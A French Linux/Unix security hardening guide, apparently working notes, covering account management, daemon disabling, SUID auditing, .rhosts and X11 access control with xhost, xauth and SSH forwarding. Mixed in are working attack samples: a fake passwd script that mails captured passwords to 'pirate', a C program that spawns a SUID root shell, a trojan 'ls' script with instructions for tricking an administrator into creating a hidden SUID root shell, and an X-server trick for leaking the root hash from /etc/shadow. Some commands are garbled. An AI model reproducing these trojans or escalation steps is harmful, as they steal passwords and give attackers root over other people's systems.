SECURITE LINUX

La sécurisation d'un système commence lors de son installation

Sécurité physique

La sécurité d'un système UNIX dépend de son emplacement physique. Par conséquent, vous devez isoler la machine pour éviter qu'elle ne tombe entre les mains d'utilisateurs malveillants, comme le RFC 1244 le recommande.

Sécurité des comptes

Groupe privilégié :

Vous pouvez faire en sorte que seuls certains utilisateurs aient le droit d'utiliser certaines commande "puissantes" comme su. En limitant le nombre de personnes pouvant utiliser ces commandes vous améliorez la sécurité de votre site. Pour cela vous allez créer un groupe d'utilisateur privilégié, généralement il est appelé wheel, mais libre à vous de l'appeler comme vous voulez, choisissez quand même un nom discret, passe partout, pour ne pas éveiller les soupçons.

Maintenant pour que su soit lancé uniquement par les membres du groupe wheel, vous devrez taper:

chgrp wheel /bin/su
chmod 4750 /bin/su

Faites de même pour les autres commandes.
NOTE: N'oubliez pas qu'un utilisateur peut très bien appartenir à deux groupes

Comptes

En vous connectant, vous vous identifiez vis-à-vis du système et vous confirmez cette identité par la fourniture d’un mot de passe. Dès lors, chaque opération que vous allez tenter va déclencher un mécanisme de vérification. Le système va comparer les droits en votre possession avec les doits nécessaires à l’opération.

Pour le système, un utilisateur est un numéro. Vous pouvez à tout moment connaître votre numéro en utilisant la commande id :

$id

uid=501(moi) gid=100(users) groupes=100(users)

Ce numéro est l’identificateur d’utilisateur ou UID. En principe, cet UID est unique et possède une signification particulière en fonction de sa valeur. Tous les UID en dessous de 100 sont réservés à des utilisateurs d’un niveau important dans le système.

Les UID utilisés par l'environnement de l'OS sont en général compris entre 0 et 200.

A certains comptes tel que NOBODY livrés avec les systèmes sont associés des UlDs dont les valeurs sont les plus hautes possibles. Les progiciels (oracle, etc.) donnent parfois la possibilité de modifier la valeur de l'UID qui leur est associé, la valeur par défaut est normalement inférieure à 1000.

L’utilisateur suprême ayant le droit de tout faire avec le système est l’utilisateur root, son UID est 0.

Comme vous pouvez le voir dans le résultat retourné par la commande, un autre identificateur est assigné aux utilisateurs. Le GID, pour identificateur de groupe, permet de classer les utilisateurs par groupes. Il est ainsi possible d’autoriser des actions et des accès aux données, non plus au coup par coup, mais de manière générale pour un groupe.

Chaque utilisateur fait partie d’un groupe, même si aucune organisation administrative n’est définie. Vous constaterez parfois la mention « nogroup ». contrairement à ce qu’il pourrait sembler, il s’agit d’un groupe possédant bel et bien un numéro (65534).

- root.

UID=0 et GID=0

Le mot de passe root doit être défini immédiatement après l'installation.

Pour un usage courant, utilisez et loggez vous avec un accès non root (employez "su" pour obtenir un accès super-utilisateur).

Pour obtenir les privilèges root, la méthode la plus souvent utilisé, est l'exploitation d'un débordement de tampon.

Attention :

N'installez jamais un programme en tant que root.

La ligne "rm -rf /" pourrai se trouver dans un script et imaginer la suite.

- Les comptes générique.

Certaines distributions, installe un ou plusieurs comptes ou mots de passe par défaut.

Vérifiez votre fichier /etc/passwd et supprimer tous vos comptes génériques utilisateurs (pas les comptes systèmes !!).

Les comptes systèmes suivants sont nécessaires :

root, bin, daemon, adm, lp (si vous avez un système d'impression), mail (si serveur mail), news (si serveur de news), uucp (si vous utilisez UUCP), nobody

Spécifier un interpréteur de commande non fonctionnel (tel que /bin/false) pour les comptes systèmes ne devant pas se connecter (mail, sync ....)

Ceux-ci sont facultatifs :

games, gopher, halt, sync, shutdown, operator, ftp (si serveur FTP anonyme), lists, xfs.

- guest

Compte générique utilisateur à supprimer

- visiteur

C’est un cauchemar pour la sécurité. les comptes visiteurs sont les premiers essayés dans un système UNIX récent qui n'a donc pas pu être configure...

- obsolètes

Il arrive que l'on puisse trouver des comptes obsolètes qui n'ont pas encore été annulé (mort de l'utilisateur, ou départ en vacance). L'administrateur réseau peut donc annuler ces comptes en mettant une date d'expiration des comptes

- Les comptes sans passwd.
C’est fou, non ??? & pourtant ça existe !!!

- Les comptes avec passwd identiques aux logins "jo account".

Très courant !!

- Les comptes suivants ne requièrent pas de mot de passe pour ouvrir une session :

- lp (imprimante en ligne)

- 4Dgifts

- demos

- jack

- jill

- backdoor

- tutor

- tour

- su

- Permet de prendre l'identité d'un autre utilisateur y compris celle de l'UID 0.

- Le su vers l'UID zéro n'est possible que pour les membres du groupe 0 (wheel) et pour tous si ce groupe est vide.

- Les su sont enregistres par syslogd BSD ou dans le fichier /usr/adm/sulog.

- Sur certains systèmes /etc/su_people déclare des utilisateurs autorises a faire su root sans fournir de mot de passe. Eviter cette fonctionnalité.

- Permet de lancer des commandes sous un autre UID que 0 dans les fichiers d'amorçage du système /etc/rc* et donc de lancer certains démons sous un UID banalise.

Utilisé par exemple pour uucp :

su uucp -c /usr/lib/uucp/uusched &

- Eviter de faire su depuis le login d'un autre utilisateur qui vous le demande. Vous risquez d'être victime d'un cheval de Troie destine a voler votre mot de passe. En shell faire au préalable afficher la variable PATH et IFS et les fonctions (sh ksh). Utiliser pour cela la commande set sans arguments. En C-shell faire au préalable afficher la variable PATH et les alias.

Il est donc plus simple de taper /bin/su et de vérifier IFS si on travaille en shell ou Korn shell.

- Si un utilisateur possède un répertoire accessible en écriture et un ./ ou . dans son PATH, il est vulnérable si cela s’avère nécessaire, placé les en dernier.

passwd

La zone mot de passe est intégrée au fichier /etc/passwd.

Ce fichier est en lecture pour tous les utilisateurs, ce qui autorise à n'importe qui la recopie de ce fichier. Cependant, ce fichier est de moins en moins utilisé pour le stockage du mot de passe il figure alors dans la zone adéquat un x qui indique que les mots de passe sont cryptés dans un autre fichier (/etc/shadow).

Les serveurs tournants sur AIX d'IBM peuvent ne pas avoir de croix mais des # ou des ! alors ne vous étonnez pas non plus. Si à la place on a le caractère '*', celui-ci interdit la connexion.

La commande pwconv permet de déplacer les mots de passe du fichier /etc/passwd vers le fichier /etc/shadow.

Ce fichier ne doit être lisible que par les administrateurs.

Le fichier /etc/shadow est accessible en lecture uniquement par root, Mais n'importe quel utilisateur de la machine peut profiter d'un bug du serveur X-Window pour récupérer la première ligne du fichier /etc/shadow qui est a plus importante puisqu'elle contient le mot de passe du root.

exemple: à vérifier

/usr/X11R6/bin/X -config /etc/shadow

                                               Unrecognized option: root:MtjJb1lBrS1SE:10148:0:99999:7:::
                                               use: X [:] [option]
                                               -a # mouse accélération (pixels)
                                               -ac disable access control restrictions
                                               -audit int set audit trail level...

Le mot de passe peut être modifié par l'utilisateur à l'aide de la commande passwd.

Le cryptage des mots de passe se fait via un DES qui les codes sur 13 caractères. Les deux premiers, utilisé pour le cryptage en entrée, servent à ce qu’un mot de passe identique à deux utilisateurs n’ait pas le même cryptogramme. Les huit caractères suivant cryptent le mot de passe. Les trois derniers caractères servent à rendre le cryptogramme éditable. En effet, il est courant de rajouter des utilisateurs dans le fichier /etc/passwd à l’aide d’un éditeur de texte. On peut s’imaginer ce que donnerait l’écriture d’un tel fichier si tous les caractères n’étaient pas éditables !

La commande uname -a permet de reconnaître le système utilisé par la machine.

Chaque système a ses trous de sécurité et ses problèmes.

Localisation du fichier contenant les passwords :

AIX 3 /etc/security/passwd ou /tcb/auth/files/1ère lettre du login/login

A/UX 3.Os /tcb/files/auth/?/

BSD4.3-Reno /etc/master.passwd

ConvexOS 10 /etc/shadow

Convex0S 11 /etc/shadow

DG/UX /etc/tcb/aa/user

EP/IX /etc/shadow

HP-UX /.secure/etc/passwd

IRIX 5 /etc/shadow

Linux 1.1 /etc/shadow

OSF/1 /etc/passwd/[.dir|.pag]

SCO Unix #.2.x /tcb/auth/files/1ère lettre du login/login

Ex : /tcb/auth/files/r/root

SunOS 4.1+c2 /etc/security/passwd.adjunct

SunOS 5.0 /etc/shadow

Syst V4.0 /etc/shadow

Syst V4.2 /etc/security

Ultrix 4 /etc/auth/[.dir|.pag]

UNICOS /etc/udb

Fausse commande passwd :

Voici une fausse commande passwd qui simule de comportement de la vraie commande passwd en cas d’erreur de saisie, puis envoie les trois mots de passe entrés par courrier électronique au pirate. La vraie commande passwd est ensuite appelée pour ne pas éveiller la méfiance du curieux.

#!/bin/sh

echo changer votre mots de passe

stty –echo

echo –e "entrez votre ancien mot de passe:\c"

read P0

echo ""

echo -e "Entrer un nouveau mot de passe:\c "

read P1

echo ""

echo -e "taper de nouveau votre nouveau mot de passe:\c "

read P2

echo ""

stty echo

echo ""

echo $P0 $P1 $P2 | mail pirate >/dev/null 2>&1

echo "You misspelled it. Password not changed"

/usr/bin/passwd

Il est évident que ce programme n'est pas bien dangereux. Plusieurs traces demeurent du passage du pirate, dont son adresse e-mail.

Le source complet en langage C du programme et détenu dans le fichier :

Securite96.pdf

Désactiver les demons inutiles. A compléter (linux loader)

Au démarrage de votre système, le noyau charge de nombreux services. Certaines distributions en ajoutent par défaut ce qui n'est pas recommandable. Un service est un processus qui tourne en tâche de fond et qui peut comporter des failles

Si vous ne l'utilisez pas il ne faut donc pas le laisser tourner mais le désactiver.

Exemple :

Maintenant on va aller jeter un coup d'œil dans les répertoires /etc/rc.d/rcX.d qui contiennent des liens vers les scripts de lancement de services, on va désactiver les services inutiles. Si vous démarrez en runlevel n°5, voici ce que vous pourriez trouver dans le répertoire /etc/rc.d/rc5.d

Pour connaître le niveau d'exécution de votre système, allez voir dans de fichier inittab (ligne initdefault) ou tapez la commande suivante en tant que root :

cat /etc/inittab | grep initdefault

S05apmd Utile uniquement pour les portables, sert à gérer l'autonomie d'une batterie, à virer si vous avez un poste de bureau

S09pcmcia pour activer les services liés au PCMCIA, à virer si la station n'est pas un portable.

S10network active les interfaces réseau (eth0, ...)

S11portmap Utile si vous utilisez des services RPC comme NFS ou NIS

S15netfs lance le service NFS client, à désactiver si vous ne montez jamais de file systems d'un serveur NFS

S16ypserv pour lancer le serveur NIS, à désactiver si non utilisé

S20random ce n'est pas un daemon, mais un truc qui permet de générer bazar aléatoire, je vois pas trop son utilité mais vous pouvez le laisser, il n'y aucun risque niveau sécurité

S20rstatd service "r", à désactiver

S20rwhod idem, à désactiver

S20rusersd idem, à désactiver

S20bootparamd, idem tftp, sert pour les terminaux X ou autres clients "diskless", à désactiver

S30syslog permet de loguer l'activité des daemons lancés par inetd, à conserver

S34yppasswd si vous êtes un serveur NIS pour pouvoir changer de mot de passe, à désactiver si non utilisé (très vulnérable)

S35dhcp daemon DHCP sert pour obtenir une adresse IP, sert pour les câblés entre autres, à désactiver si non nécessaire

S40atd utile pour le service at (similaire à cron), vous pouvez désactiver si vous vous en servez pas, mais soyer sur de vous.

S40crond pour lancer le daemon cron qui permet de programmer des tâches à lancer, à virer si vous ne l'utilisez pas. En faire de même pour anacron.

S50inet pour lancer le réseau,

S50snmpd pour lancer le daemon SNMP, permet de donner à des utilisateurs distants des informations détaillées sur votre système, à désactiver

S55named pour lancer le serveur DNS, à désactiver si vous ça ne sert à rien

S55routed pour router selon le protocole RIP, à désactiver

S57diald permet de lancer le daemon diald pour lancer une connexion internet automatiquement (du serveur ou d'un client du réseau local), à désactiver si vous vous en servez pas.

S60lpd gére le système d'impression. A désactiver si pas d'imprimante.

S60nfs pour lancer le serveur NFS, à désactiver si vous n'exportez pas vos systèmes de fichiers

S60mars-nwe pour lancer un serveur Netware de Novell, à désactiver si non nécessaire

S72autofs pour lancer l'automontage (peut s'appeler aussi S72amd), à virer si vous ne l'utilisez pas

S75keytable pour activer le clavier qui va bien (claver français azerty)

S75gated pour lancer d'autres protocoles de routage comme OSPF, à désactiver

S80sendmail pour lancer sendmail, à désactiver si vous ne l'utilisez pas

S85sound pour activer le son

S85gpm permet d'avoir la souris sur des applis textes comme Midnight Commander, à désactiver si inutile.

S85http pour lancer le serveur Web (Apache), à désactiver si non utilisé

S86ypbind si vous êtes un client NIS, à désactiver sinon

S90squid pour lancer le proxy squid, pour partager la connexion internet, à désactiver si poste isolé

S90xfs pour activer le serveur de fonts X, nécessaire

S91smb pour lancer le serveur samba, si vous partager des file système ou des imprimantes vers des postes Windows, à désactiver si non utile.

S94ntpd pour lancer le serveur NTP (network time protocol) à désactiver (ancienne version

S94xntp)

S95innd pour lancer le serveur de news innd, si non utilisé à désactiver

S99linuxconf permet à quelqu'un sur internet de faire de la maintenance sur votre système à travers une interface web, à désactiver

S99local c'est un lien vers /etc/rc.d/rc.local, où vous pouvez rajouter vos petits trucs.

S??ssh très important si vous désirez vous connecter à distance (remote access) à votre station via internet ou un réseau local. Il autorise en effet l'établissement d'une liaison sécurisée.

S??exim exim est un programme de gestion de courriels. Mais si ce nom ne vous semble pas très familier, vous pouvez le supprimer sans hésiter.

S??ftpd serveur ftp. Pour accéder à des fichiers via une lisison ftp depuis une autre machine, activez cd démon.

S??Proftpd idem.

S??apache serveur web. Si votre site web est hébergé par un prestataire Internet, il est parfaitement inutile d'activez ce démon, d'autant plus qu'il est très gourmand en ressources système.

S??logoutd il s'agit d'un démon lié à la sécurité du système, qui interdit les connexions de certains utilisateurs à des dates et heures déterminées. Il se configure via le fichier /etc/security/time.conf.

S??Junkbuster c'est un proxy http, censé protéger votre pc. Il est intéressant si vous vous connectez fréquemment à internet.

S??alsa pilote pour les cartes audio.

S??ppp ppp est l'agent qui gère les connexions traditionnelles par modem. Il s'avère donc indispensable si vous utilisez un modem RTC.

S??wwwoffle démon intéressant car c'est un proxy http qui conserve dans un cache, les données des sites visités. Il permet ainsi d'accélérer l'affichage des pages déjà consultées.

S??Inetd déconseillé de le désactiver. En effet, il gère le chargement/déchargement dynamique de certains autres démons (comme telnetd par exemple). Cela permet de libérer de la mémoire vive lorsque les démons ne sont pas utilisés.

S??Sysklogd il s'agit d'outils indispensables qmui permettent au noyau et aux démons de dresser la liste de leurs activités dans /var/log/. Il est extrêmement important.

C'est une liste non exhaustive, d'un système à l'autre, le numéro de lancement peut changer. Pour désactiver le service SNMP par exemple il suffit d'abord de le localiser dans tous les répertoires /etc/rc.d/rcX.d:

find /etc/rc.d -name S50snmpd -print

Puis de supprimer tous les liens que vous trouverez.

Attention :

- Ne pas supprimer le script de lancement sous /etc/rc.d/init.d
- Notez précisément ce que vous avez supprimé, au cas où vous vous voudriez réactiver le service.

Tapez maintenant la commande :

ps aux | wc -l

Vous devriez avoir le nombre de process actifs, rebootez et retapez cette dernière commande, suivant le nombre de services que vous avez désactivé le nombre peut avoir diminué de manière significative.

Nota :

Il est aussi possible de recourir à runleveleditor qui est un utilitaire doté d'une interface graphique.

Il suffit de cliquer sur un démon, puis de choisir le ou les niveaux d'exécution pour lesquels il doit être activé.

Sécurité des fichiers et des répertoires

- /home

- Doit être un point de montage, ce qui permet de restreindre les privilèges des utilisateurs "normaux".

- Y interdire :

- l'emploi de programme SUID/SGID (nosuid)

- l'utilisation de fichiers périphérique (nodev)

- l'exécution de binaire (noexec)

Sur la plupart des systèmes la commande 'mount' a les options 'nosuid, nodev, noexec'.

- les fichier .profile et .login doivent avoir les permissions rw-------

- /tmp

- Même politique que le répertoire /home

- /etc

- /etc/rc.d/init.d : Fichier de démarrage. Y faire un chmod -R 700

- /dev

Le plus souvent, seul root à accès à ces fichiers.

- bit de droit d'accès

- rwxrwxrwx : Les droits d'accès des fichiers sont donnés selon plusieurs paramètres:

- Le propriétaire du fichier (UID noté u pour user)

- Le groupe auquel appartient le propriétaire

(GID noté g pour group)

- Ceux qui ne sont ni le propriétaire et qui n'appartiennent pas au groupe (noté o pour others).

- Le type (répertoire, fichier ordinaire,…)

La ligne commence par

d => fichier répertoire

- => fichier ordinaire

b => fichier bloc (

c => fichier spécial : caractère magnétique (raw + stream)

p => pipe nommé

l => fichier lien symbolique

Les droits pour un fichier ont donc une structure -rwxrwxrwx dans l'ordre des 3 premiers paramètres précédemment exprimés.

Les accès rwx désignent :

- r : lecture seule pour les fichiers classiques (read)

: on peut les visualiser par la commande ls pour les répertoires

- w : création et suppression autorisée (write)

- x : exécution pour les fichiers classiques (exécute)

droit de passage pour les répertoires

- Set UID bit : Lorsque ce bit est positionné sur un fichier, cela signifie que le fichier est exécuté avec le droit du propriétaire du fichier.

- Set GID bit : Lorsque ce bit est positionné sur un fichier, cela signifie que le fichier est exécuté avec le droit du groupe propriétaire du fichier.

Les fichiers avec les permissions SUID et/ou SGID doivent faire l'objet d'une surveillance régulière.

La liste obtenue avec la commande 'find' sera comparée à une liste de référence pour détecter les changements intervenus.

La liste de référence sera établie avec la plus grande attention lors de l'installation ou d'un changement de version du système.

- diff ListeDeReference ListeCourante

Utiliser la commande suivante :

- find / -type f $ -perm -4000 -o -perm –2000 $ -print

- find / -type f -a $ -perm -4000 -o -perm –2000 $ -print

- find / -user root –a $ -perm -4000 -o -perm –2000 $ -print

- find /bin -type f $ -perm -4000 -perm -2000 $ -exec ls -lg {} \; > ListeDeRéférence

La suivante permet de détecter les procédures shell SUID ou SGID

- find / -type f $-perm -4000 -perm –2000$-exec file {}\; | grep shell

Pour désactiver les bits "s" taper la commande :

- chmod a-s nom_du_programme

Exemples :

Si les utilisateurs non pas besoin de monter des systèmes de fichier, ôter le bit s de la commande mount.

Si les utilisateurs non pas besoin d'utiliser les commandes (ping, traceroute... ) en faire de même.

Supprimer le SUID bit du fichier /usr/etc/restore car il s'agit d'une brèche de sécurité.

Explication :

Un programme dont le propriétaire est root devient root pendant son exécution grâce au bit suid.

En l'exécutant et en forçant le retour d'un call vers une routine qui exécute un shell, on obtient ainsi un shell root.

Exemple 1 de programmes suid : à tester et modifier

var=get uid() ;

set uid (geteuid()) ;

system (“/bin/bash; ou plutôt system (application);

set uid (var) ;

Il faut que l’exécutable appartienne à root et il faudra positionner le set uid bit (chmod 4555)

vi pirate.c

main()

{

set uid (geteuid());

system (“/bin/bash”);

}

compile pirate.c

=> pirate

chmod 4555 pirate

Exemple 2 de programmes suid : à tester et modifier

#!/bin/sh

# Ce fichier est un piège. Il s’apesse ls et va me permettre de tromper

# l’administrateur.

# Copier un shell et le rendre SUID

cp /bin/sh .toto

chmod 4555 .toto

# Effacer ce script

rm –f $0

# Exécuter ls comme si de rien n’était.

exec /bin/ls ${1+’’$0’’}

Placez le script dans votre répertoire home, puis créer un fichier « bizarre » et appeler l’administrateur en lui disant que vous n’arrivez pas à supprimer un fichier bizarre.

Celui-ci n’arrivera pas a le lire car le fichier n’est pas accessible en lecture pour les autres utilisateurs. Il se connectera donc en root et fera un ls pour lister les fichiers. Ce qui aura pour conséquence de créer dans votre répertoire un shell SUID root.

- sticky bit - noté t. Il indique que seul le propriétaire ou l'administrateur peuvent supprimer un fichier qui le porte. Le bit t peut être activé pour un programme aussi; cela signifie que le programme doit être conservé en mémoire après exécution de façon à réduire les temps d'accès disques. Le bit t est activé par un chmod 1000.

Sécurité des connexions extérieures

- Machines équivalentes (trusted host)

Le mécanisme des machines équivalentes permet par le biais d’une liste de machines ou d'utilisateurs d’établir une session ou d’exécuter une commande à distance sans passwd. Les deux machines doivent avoir le même username.

- /etc/host.equiv

- Contient la listes des machines équivalentes. Les utilisateurs venant d'une machine listée dans ce fichier et qui ouvrent une session par la commande rlogin ou exécutent une commande par rsh n'ont pas à fournir de passwd.

Certaines version de UNiX sont livrées avec une seule entrée dans le fichier host.equiv. Un "+". Si c'est le cas, la machine est en libre accès pour tout le monde car le "+" signifie que toutes les machines sont classées comme équivalentes.

Si votre cible a "+" dans son /etc/hosts.equiv tout utilisateur non-root disposant d'un id dans le fichier des mots de passe pourra se connecter sans fournir de mot de passe .

- ~/.rhosts

- Les fichiers .rhosts permettent à des aux utilisateurs d'accéder aux machines sans passwd.

- Tout utilisateur peut créer un fichier .rhosts dans son répertoire de connexion et autoriser l'accès à son compte sans passwd.

- Il faut donc vérifier régulièrement la présence de c'est fichiers par la commande

#find / -name .rhosts -print => pour les voir

#find / -name .rhosts -exe rm {}\; => pour les éliminer

En pratique les intrus modifient le fichier .rhosts pour y déposer une entrée "++" (tout autorisé par défaut).

Format des fichiers /etc/hosts.equiv et ~/.rhosts :

+nom_machine+nom_utilisateur (pas d’espace)

+tout seul, il indique que toutes les machines peuvent se connecter !

- Lancement d'applications X-Window (X11) à distance

Il y a trois niveaux de contrôle d'accès à un serveur X :

- xhost, au niveau des machines,

- xauth, au niveau des utilisateurs,

- dans les applications.

xhost

Les applications X-Windows (s'exécutant dans une fenêtre) peuvent être lancées à partir d'un client sur un serveur distant. Pour cela, on doit autoriser sur le serveur l’affichage d'applications distantes au moyen de la commande xhost.

Il faut également indiquer le display (écran) sur lequel l'application doit se lancer, soit en changeant la valeur de la variable d'environnement DISPLAY, soit dans la commande de lancement de l'application Xwindow avec l'option -display si celle-ci est disponible.

Un serveur Xwindow est identifié par deux éléments, le nom de la machine sur laquelle il fonctionne et le numéro d’affichage ou plus simplement le display. Pas défaut, lorsque vous lancez un serveur XFree sur votre système, il utilise le premier numéro disponible :0. votre serveur est donc accessible sous l’identification localhost:0.

Vous pouvez parfaitement lancer un second Xfree en passant sur la ligne de commande un paramètre indiquant le nouveau display à créer. En omettant ce paramètre, le nouvel XFree tentera d’utiliser le display 0 et son exécution échouera :

Fatal server error :

Server is already active for display 0

Vous devez utiliser :

startx -- :1

En ce qui concerne nos manipulations, le client devra donc utiliser localhost :0 pour déporter l’affichage des application exécutées. La première technique consiste à spécifier le display à utiliser à l’aire d’un option sur la ligne de commande :

xeyes –display localhost:0

xclock –display 36.204.15.x:0.0 tester les 2

Malheureusement, toutes les application X ne propose pas ce paramètre sur la ligne de commande. Dans ce genre de cas, il faudra se rabattre sur une solution universelle consistant à utiliser une variable d’environnement : DISPLAY. La syntaxe est la même que pour le paramètre en ligne de commande :

Export DISPLAY=localhost :0

Des lors, toutes les application X que vous lancerez depuis le client verront leur affichage déporté sur le serveur.

xhost + : désactive le contrôle d’accès , cette utilisation est à proscrire.

=>autorise l'ouverture pour toutes les autres machines.

xhost + hostname : ajoute la machine hostname à la liste des machines autorisées à se connecter au serveur X,

=> autorise l'ouverture pour la machine hostname

xhost - : active le contrôle d'accès, mais est largement insuffisante. En particulier, elle ne vide pas la liste des machines autorisées.

=> interdit l'ouverture pour toutes les autres machines.

xhost - hostname : supprime la machine hostname de la liste des machines autorisées à se connecter au serveur X.

=> interdit l'ouverture pour la machine hostname

xhost : Donne la liste des machines autorisées à se connecter au serveur X, et indique si le contrôle d'accès est actif. Il est vivement recommandé d'utiliser cette commande lors de la première utilisation d'un serveur X, car certains d'entre eux ont la possibilité de démarrer avec une liste de machines autorisées non vide. Si tel est le cas, regarder du côté d'un fichier /etc/X*hosts.

Pour vider la liste, il faut en supprimer toutes les machines avec une commande comme :

xhost `xhost | awk -F: 'NR > 1 {printf ("-%s ", $NF)}'`

(à vérifier)

Exemple :

- lancez la commande xhost +cible

- vérifier le nom de votre display au moyen de la commande :

echo $DISPLAY

- connectez-vous à cible et lancez un xterm depuis cible avec l'option:

-display, et constatez qu'il s'agit bien d'un shell tournant sur cible.

- lancez l'application /usr/openwin/demo/xeyes depuis cible de deux manières différentes:

1) en mettant à jour la valeur de la variable DISPLAY (commande echo)

2) directement depuis cible au moyen d'un rsh

xauth

Authentification des utilisateurs.

Lorsqu'un client X initie une connexion (XOpenDisplay(3X)) avec un serveur X pour lequel le contrôle d'accès est actif et que la machine de laquelle ce client appelle n'est pas dans la liste des machines autorisées, alors ce client peut fournir une clé (le MAGIC-COOKIE , chaîne de 128 bits, soit 32 caractères en hexadécimal) au serveur. Un petit utilitaire appelé mcookie est sans doute présent dans votre système et permet de générer ce genre de chaîne. Une autre solution consiste à utiliser md5sum sur un fichier ou des données connues pour être parfaitement aléatoires. Le client trouve (par défaut) cette clé dans le fichier /.Xauthority. L'accès à ce fichier est contrôlé par le système de fichiers (mode 0600).

La clé initiale est passée au serveur X par 'xdm' en argument au démarrage :

/usr/bin/X11/X -auth pathname

ou pathname (owner root, mode 600) est un fichier contenant la clé initiale.

Lorsqu'un utilisateur s'est identifié (login/password), xdm stocke cette clé (maintenant côté client) dans le fichier : /.Xauthority.

Ce fichier peut être partagé sur plusieurs machines d'un réseau si par NFS, le répertoire $HOME est toujours au même endroit.

xauth est un utilitaire qui gère des clés « MAGIC-COOKIE » d'accès à un serveur X.

Ces clés sont stockées dans /.Xauthority, et donc sous le contrôle du système de fichiers.

Les fichiers .Xauthority contiennent des triplets :

- Adresse IP ou nom de display (dpyname).

Celui-ci est composé de trois éléments.

- le nom d'hôte

- la mention /unix (nécessaire afin de garder une compatibilité). Voilà pourquoi les entrées sont répétées avec et sans le /unix.

- le numéro de display

- Le protocole ou méthode de chiffrement. Il n'y a guère le choix ici, c'est MIT-MAGIC-COOKIE-1

- Le cookie magique de l'hôte et du display en question

xauth list

Liste sous une forme texte le contenu du fichier contenant les clés.

xauth add nom_du_Display methode_de_chiffrement clé_en_hexa

ajoute la clé pour ce serveur X.

Une opération de copier/coller entre deux fenêtres permet de passer facilement la clé.

xauth nextract.

Ex : $xauth add votre.affichage.ip:0 MIT-MAGIC-COOKIE-1 73773549724b7668etc.

xauth nmerge

Fonctions similaires à list et add, mais en format hexadécimal et avec lecture et écriture dans un fichier (pouvant être stdin/stdout).

xauth nextract

xauth nextract - <Display> | rsh <host> /usr/bin/X11/xauth nmerge -

Bien faire attention à ce que Display doit être la façon que host a de nommer le serveur X sur lequel on travaille. Par exemple si le serveur X actuel est ":0.0" que l'on est sur la machine 'planète.edu' et que l'on veut pouvoir ouvrir des fenêtres depuis la machine "violon.fr" alors il faudra utiliser:

xauth nextract - planete.edu:0.0 | rsh violon.fr /usr/bin/X11/xauth nmerge -

Dès que l'on veut faire du contrôle d'accès avec X, et utiliser des machines en dehors de son domaine, il devient vital d'utiliser une seule méthode pour nommer toutes les machines. La seule méthode qui soit viable consiste à utiliser le DNS. Si l'on tient toutefois à utiliser d'autres méthodes comme les fichiers /etc/hosts ou NIS, il est essentiel que toutes ces méthodes soient cohérentes entre elles, et il faut donc mettre dans les fichiers hosts les FQDN comme noms primaires, et dans les map NIS host.byname les FQDN seulement, car l'ordre d'obtention des noms n'est pas fiable lors d'une résolution par NIS.

xauth delete <nom_du_Display>

supprime la clé d'accès à ce serveur X.

Aujourd'hui, la méthode la plus "recommandable" consiste à activer le contrôle d'accès en partant d'une liste de machines autorisées totalement vide, ce que l'on peut vérifier avec "xhost". Puis à utiliser "xauth".

Exemple :

Affichez les entrées de barzouille avec xauth list

Celle qui nous intéresse concernent le display 0. il est assez rare en effet de voir une machine exécuter plusieurs serveurs X autrement que pour des test ou des manipulations exceptionnelles.

Si nous désirons déporter l'affichage de nos applications exécutées sur barzy vers barzouille, nous devons ajouter deux entrées dans le .Xauthority de barzy :

xauth add barzouille:0 MIT-MAGIC-COOKIE-1

3b0302b7a4bb53da1b378738bd8db0

xauth add barzouille/unix:0 MIT-MAGIC-COOKIE-1

3b0302b7a4bb53da1b378738bd8db0

Des lors, nous pouvons tester notre configuration depuis barzy :

xeyes –display morgane:0

Le problème principale de cette méthode est que le MAGIC-COOKIE circule en clair sur le réseau.

Sécuriser d'avantage :

Utiliser SSH voir aussi linux mag hs 8 p 35

Nous considérons ici que vous avez déjà sur les deux machines un ssh pleinement fonctionnel.

Vous n'avez qu'à modifier les fichiers de configuration de client et du serveur ssh de chaque machine en ajoutant :

Dans ssh_config (client) :

ForwardX11 yes

Dans sshd_config (serveur) :

X11Forwarding yes

Ces fichiers se trouvent normalement dans votre /etc/ssh ou dans /usr/local/etc. après la modification, vous n'avez plus qu'a relancer les serveurs ssh des machines. Une simple connexion comme par exemple :

ssh –l utilisateur barzouille

vous connectera à l'hôte distant de manière sécurisée et dans la session, vous n'aurez qu'à lancer votre application X. son affichage sera alors automatiquement déporté vers la machine cliente et les informations transiteront directement par le canal sécurisé ssh (port 22)

pour ce petit miracle, aucune configuration supplémentaire n'est nécessaire. OpenSSH va créer lors de la connexion un MAGIC—COOKIE temporaire qu'il utilisera pour faire transiter les données X11. vous pourrez le constater par vous même en utilisant xauth list dans la session ssh :

barzouille ssh –l éric barzy

éric@barzy's password:

éric@barzy:~$ xauth list

barzy:10 MIT-MAGIC-COOKIE-1

b5737cde48f604a24706570a9c1772d6

barzy/unix:10 MIT-MAGIC-COOKIE-1

b5737cde48f604a24706570a9c1772d6

éric@barzy:~$ <CTRL D>

barzouille$ ssh –l éric barzy

éric@barzy's password:

éric@barzy:~$ xauth list

barzy:10 MIT-MAGIC-COOKIE-1

9d4155fca25b175d7f828d3a79cff7e

barzy/unix:10 MIT-MAGIC-COOKIE-1

9d4155fca25b175d7f828d3a79cff7e

Comme vous pouvez le voir, un nouveau MAGIC-COOKIE est crée à chaque connexion du client OpenSSH. Au moment où le client se connecte, il va contrôler la présence d'un serveur X en fonction. Il va ensuite générer aléatoirement et ajouter un nouveau MAGIC-COOKIE dans le .Xauthority puis l'envoyer au serveur SSH. Ce dernier va alors l'ajouter au .Xauthority de la machine où tourne le serveur OpenSSH main attention, cette machine est cliente pour l'affichage déporté.

Ici, pas de problème , l'échange des MAGIC-COOKIE se fait bien dans la connexion OpenSSH. Les données de l'affichage seront ensuite détournées par le serveur sshd pour passer dans le tunnel sécurisé. Aucune donnée ne circule en clair sur le réseau.

Seul problème de cette transparence pour l'utilisateur, on n'arrive pas à faire la différence entre un affichage déporté via OpenSSH et une connexion en clair; il est donc à la charge de l'utilisateur de vérifier (par une lecture des fichiers de configuration ou via la commande xauth list) que les données circulent dans le bon tuyau.

Il est cependant nécessaire de préciser que la communication des données de l'affichage ne seront protégées que de l'extérieur des machines. En effet, une attaque est possible contre les données si celle-ci est portée par un utilisateur légitime de la machine serveur sshd (et client X11). Sur cette machine, il est parfaitement possible d'écouter les données circulant entre le client et le serveur et, dans ce cas, de compromettre la sécurité des informations visuelles manipulées par l'application déportant son affichage.

Il reste cependant assez rare que dans le cadre d'une utilisation courante (machines personnelles individuelles), on autorise d'autre utilisateurs à se connecter à nos machines. Et même dans ce cas, il s'agit habituellement d'utilisateurs qui sont à portée de main pour d'éventuelles explications complémentaires concernant la sécurité d'un réseau.

